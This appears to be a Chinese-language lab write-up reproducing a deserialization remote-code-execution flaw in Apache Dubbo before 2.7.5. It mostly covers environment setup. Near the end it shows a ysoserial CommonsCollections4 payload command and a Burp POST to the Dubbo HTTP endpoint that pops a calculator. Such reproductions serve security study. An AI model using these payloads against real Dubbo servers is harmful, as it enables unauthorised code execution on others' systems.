信息
影响版本:Dubbo < 2.7.5
条件:
时间:
复现环境:
win10 + jdk1.8 + idea 2019.2.4(用来搭建dubbo) + zookeeper 3.4.10
复现版本:Dubbo 2.7.3
版本探测:
漏洞环境的搭建
1. idea的下载安装
下载并且安装idea,我的是收费版的(网上有破解教程),如果只是为了快速复现漏洞,那么试用30天后直接看下一步好了。
2. zookeeper的下载及启动
①dubbo需要配合zookeeper使用,下载zookeeper,地址:
https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
②在解压后的文件夹zookeeper-3.4.10里面创建 data和logs目录
②修改 conf目录下的zoo_sample.cfg为zoo.cfg
并且修改zoo.cfg,如下添加
③ 双击bin目录下的 zkServer.cmd,启动,zookeeper会监听2181端口
3. dubbo的启动
①下载github里dubbo的demo
https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http
②修改dubbo-samples-http里面的pom.xml
首先版本改为2.7.3
其次添加依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
②用idea导入,"File"->"New"->"Project from existing resources" ->选择目录"dubbo-samples-http"里面的pom.xml
③这个时候如果直接下载的话会很慢很慢,尝试更换源(建议必换)
右键导入的项目名,点击"Maven"。点击"Create setting.xml",用下面内容直接全部替换掉
加速源
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd">
<mirrors>
<!-- mirror
| Specifies a repository mirror site to use instead of a given repository. The repository that
| this mirror serves has an ID that matches the mirrorOf element of this mirror. IDs are used
| for inheritance and direct lookup purposes, and must be unique across the set of mirrors.
|
<mirror>
<id>mirrorId</id>
<mirrorOf>repositoryId</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://my.repository.com/repo/path</url>
</mirror>
-->
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
<mirror>
<id>uk</id>
<mirrorOf>central</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://uk.maven.org/maven2/</url>
</mirror>
<mirror>
<id>CN</id>
<name>OSChina Central</name>
<url>http://maven.oschina.net/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
<mirror>
<id>nexus</id>
<name>internal nexus repository</name>
<!-- <url>http://192.168.1.100:8081/nexus/content/groups/public/</url>-->
<url>http://repo.maven.apache.org/maven2</url>
<mirrorOf>central</mirrorOf>
</mirror>
</mirrors>
</settings>
③ 重启idea,点击项目中的pom.xml,"Maven"->"Reimport"就可以下载依赖,很快很快就会被下载完成
4.坑点
当看到"dubbo service started"就说明成功了。
如果你的ip也正确的话,那么下面一段话就不用看了,直接看攻击步骤就好了。
仔细观察他给你的url中的ip。一开始我的ip是我一个虚拟网卡的ip,我不能访问。
搜索之后,要修改dubbo的配置文件来绑定自己的ip,这里贴出我的配置,配置文件dubbo-samples-httpsrcmain
esourcesspringhttp-provider.xml
攻击
1.下载jar包
https://xiaokou.top/usr/uploads/file/ysoserial-master-30099844c6-1.jar
2.生成payload
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections4 "calc" > calc.ser
3.burp发包
访问192.168.1.104:8080/org.apache.dubbo.samples.http.api.DemoService,burp截包
修改访问类型为POST,post的数据就是calc.ser的内容,这里不要打开calc.ser直接复制,用burp的"Paste from file"
成功弹出计算器
注意的地方
1.maven下载的时候一定要配置国内的源啊,不然要花费很长时间才能下载完依赖,而且真的不一定能下载完
2.配置完环境后,其实我们是没法访问8080端口看到东西的,因为只是一个provider端,并没有提供dubbo的全部功能。
3.发包的时候,不要直接打开calc.ser直接复制
4.dubbo启动后要看看自己的ip地址对不对